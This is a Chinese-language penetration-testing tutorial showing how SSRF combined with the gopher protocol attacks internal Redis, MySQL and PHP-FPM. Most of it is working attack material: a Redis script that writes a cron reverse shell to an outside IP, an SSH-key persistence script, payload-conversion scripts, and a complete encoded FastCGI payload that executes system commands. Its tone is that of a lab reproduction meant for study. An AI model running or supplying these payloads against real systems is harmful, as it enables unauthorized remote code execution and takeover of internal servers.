概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码。

基本协议格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

攻击面复现

Gopher 攻击内网Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议可以攻击内网中的 Redis应用。

利用redis反弹shell

攻击思路就是:

获取bash对redis发出的访问请求,获取时利用socat端口转发,得到请求日志文件后再转化成适配Gopher协议的pyload,然后对redis进行攻击。

常用的 bash 脚本:

redis-cli -h $1 flushall 
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1\n\n"|redis-cli -h $1 -x set 1 
redis-cli -h $1 config set dir /var/spool/cron/ 
redis-cli -h $1 config set dbfilename root 
redis-cli -h $1 save
redis-cli -h $1 quit
  • flushall: 删除所有数据库中的key。(非必需,反倒有点不友好)
  • 计划任务执行命令反弹shell。
  • -x:从标准输入读取一个参数。
  • 第0个数据库中添加key为1,value为“nn/1 * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1nnn”。
  • dir:数据库备份文件路径。
  • dbfilename:备份文件的文件名。

执行脚本命令:

bash shell.sh 127.0.0.1 6379

想获取Redis攻击的TCP数据包,可以使用socat进行端口转发,利用这个脚本攻击自身并抓包得到数据流:

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

然后执行:

bash shell.sh 127.0.0.1 4444

捕获到的数据:

> 2019/03/16 20:36:29.699694  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2019/03/16 20:36:29.700410  length=5 from=0 to=4
+OK\r
> 2019/03/16 20:36:29.736434  length=90from=0 to=89
*3\r
$3\r
set\r
$1\r
1\r
$62\r


*/1 * * * * bash -i >& /dev/tcp/192.168.164.131/8080 0>&1


\r
< 2019/03/16 20:36:29.736894  length=5 from=0 to=4
+OK\r
> 2019/03/16 20:36:29.744413  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/03/16 20:36:29.746587  length=5 from=0 to=4
+OK\r
> 2019/03/16 20:36:29.756751  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/03/16 20:36:29.757876  length=5 from=0 to=4
+OK\r
> 2019/03/16 20:36:29.765481  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/03/16 20:36:29.803827  length=5 from=0 to=4
+OK\r

转换规则如下:

  • 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  • 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  • 将r字符串替换成%0d%0a。
  • 空白行替换为%0a。

JoyChou师傅的转换脚本:

#coding: utf-8#author: JoyChouimport sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判断倒数第2、3字符串是否为\r
        elif line[-3:-1] == r'\r':
            # 如果该行只有\r,将\r替换成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的换行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判断是否是空行,空行替换为%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp
python2  zh.py socat.log

*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.164.131/8080 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

注意:
如果要换IP和端口,前面的$61也需要更改,$61表示字符串长度为61个字节。

本地利用成功:

再梳理下攻击思路:

  • 利用socat进行端口转发.
  • 将redis命令写成.sh文件,bash执行.
  • 获取攻击到攻击自身的数据流.
  • 把数据流转化为适配Gopher协议的URL.
  • 构造SSRF payload实现攻击.

注意 redis 反弹 shell 有个坑,ubuntu 不能使用 bash 反弹 shell,如果如遇到 ubuntu 就该为写 ssh key.

生成ssh key:

ssh-keygen -t rsa

ssh_shell.sh:

echo -e "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNjOo6YRWDUNLdBDX3Y8lrEm6r9Ov9rFtYx5U/XSrSdUsRmGW9PvAlceS4H/5aExJc04bcTXQXRHO3RJQHcKvPUIcrxOION2mvccWkehmHnTTDCUw9igqFH91aMg013Ist6xKnco+Nn9LKJD49rtMKG+BFOTLg4C27gLC0OZkl8itZGHTS9S8I5LTEpwLItDkbZBgmDKYi/kaWjlw9PWtFYNpEvrt2SBgvWnHkVzPPELfTkbiIuwHYyYZD6YAXpH3tplk5RIZoHID08YzdxQqjcNdEXMFuaYvfdIWIWfzbhAwKl/lSpMDOBosAbd70CdjIz7VMcoYCcArr+zNtg8Hz root@ubuntu\n\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /root/.ssh
redis-cli -h $1 -p $2 config set dbfilename authorized_keys
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

接下来过程和上面类似,不在重复。

Gopher 攻击MySQL

MySql通信协议

MySql连接方式

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

1、Unix套接字;
2、内存共享/命名管道;
3、TCP/IP套接字;
  • 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。
  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。
  • TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql –h 127.0.0.1 –u root –proot时就是要TCP/IP套接字。

我们抓取的MySQL通信数据包必须使用TCP/IP套接字连接

MySQL认证过程

MySQL客户端连接并登录服务器时存在两种情况:

  • 需要密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;
  • 无需密码认证。当无需密码认证时直接发送TCP/IP数据包即可。

所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里主要关注认证数据包。

认证数据包格式如下:

先抓取下mysql root登陆的数据包,分析下。
看下需要密码登陆mysql 时的认证包:

前5个数据包是握手包,第6个包发现了root登陆的认证包,可以看到此时登陆的用户名和密码;
其中Pactket Length是发送的数据包的长度,Packet Number为sequence_id随每个数据包递增,从0开始,命令执行阶段遇到命令重新重置为0。这两个Packet为整个MySQL通协议的基础数据包。
继续分析,发现了执行命令的数据包:

如图是执行show databases;的数据包,下一个包就会看到返回的数据库的包。

构造攻击数据包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。

环境

Linux ubuntu 4.15.0-46-generic
mysql Ver 14.14 Distrib 5.7.25, for Linux (x86_64)

命令
新建用户,并且密码为空,只允许本地登录
CREATE USER 'curl'@'localhost';
GRANT ALL ON *.* TO 'curl'@'localhost';

# 一个窗口抓包
tcpdump –i lo port 3306 –w mysql.pcay
# 一个窗口操作
mysql –h 127.0.0.1 –u curl
# 执行了以下语句
use security;
select * from flag;
exit;

抓包包后利用wireshark分析,追踪tcp流,过滤出发给3306的数据:

然后保存为原始数据,将数据转化为 url 编码,转化脚本:

#coding:utf-8

def pacy(s):
    a=[s[i:i+2] for i in xrange(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)if __name__=="__main__":
    import sys
    s=sys.argv[1]
    print(pacy(s))

原始数据:

转化:

本地测试成功:


梳理下攻击思路:

  • 创建相关的数据库、数据表和字段.
  • tcpdump 监听抓取3306的数据包.
  • 本地登陆mysql,查取相关数据.
  • wireshark追踪流,过滤包,提取登陆查询的原始数据,转化为适配gopher的url形式.
  • 构造payload攻击mysql.

拓宽攻击面

以上利用的条件是,SSRF有回显才能返回数据,但是当SSRF没有回显,虽然发送的MySql命令执行了,但是不会返回执行后的数据,这时我们可以拿系统的shell。

正常情况下,通过MySql获取系统shell可以通过select into outfile写入shell,或者使用udf来反弹shell,那么这里同样我们可以在本地得到获取shell时的数据包,然后转换成适配Gopher协议的URL来getshell。

写入shell
反弹shell

注意:在导出文件时,当前mysql用户必须存在file权限;部分MySQL服务器运行时启用了--secure-file-priv选项,导出文件时只能导出到规定的目录下,一般为/var/mysql/data命令,要自定义目录时必须修改配置文件设置secure-file-priv = “”;并且导入目录需要有写权限。

Gopher攻击内网redis和mysql的思路都是在本地提取到攻击自身的流量,构造适配Gopher的url攻击内网应用。

Gopher 攻击FastCGI

FastCGI

关于Fastcgi协议可以参考p神的这篇文章--传送门,文章已经讲的很详细了,还给出了能自动生成满足协议的payload的工具

简单总结就是php-fpm是在默认监听本地的某个端口,等待服务器的连接,因为它无条件监听本地的某个端口,只要我们构造满足协议规范的请求包去访问本地端口,就可以执行任意命令。结合SSRF,利用Gopher协议就可以利用本地监听的php-fpm,构造满足协议规范的请求包可以直接用p神给出的工具。

利用条件

这种漏洞强大但是利用条件比较苛刻,需要满足的条件有:

  • libcurl版本>=7.45.0.(exp里有%00,CURL版本小于7.45.0的版本,%00会被截断)
  • PHP-FPM监听本地端口.
  • PHP-FPM版本 >= 5.3.3.
  • 知道服务器上某一个php文件的绝对路径.

因为条件比较苛刻,这里使用 vulhun 的 fpm 环境.下载环境后直接运行docker-compose up -d即可。

攻击复现

转换为适配Gopher协议的EXP:
监听一个端口的流量:

nc -lvv 2333 > 1.txt

执行EXP,流量打到2333端口:

python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

URL编码:

f = open('1.txt')
ff = f.read()
from urllib import quote
print quote(ff)

得到EXP,攻击测试:

%01%01%B2%93%00%08%00%00%00%01%00%00%00%00%00%00%01%04%B2%93%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/lib/php/PEAR.php%0B%1BSCRIPT_NAME/usr/local/lib/php/PEAR.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/lib/php/PEAR.php%01%04%B2%93%00%00%00%00%01%05%B2%93%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%B2%93%00%00%00%00

攻击思路:

  • 监听本地端口.
  • 运行EXP攻击自身,流量打到监听的端口.
  • 对监听到的数据进行url编码.
  • 本地攻击测试.

Referer

[1].https://paper.seebug.org/510/
[2].gopher-ssrf攻击内网应用复现
[3].https://blog.chaitin.cn/gopher-attack-surfaces
[4].https://joychou.org/web/phpssrf.html
[5].http://lypto.me/2018/12/20/FastCGI-RCE-in-SSRF/
[6].http://www.0xby.com/840.html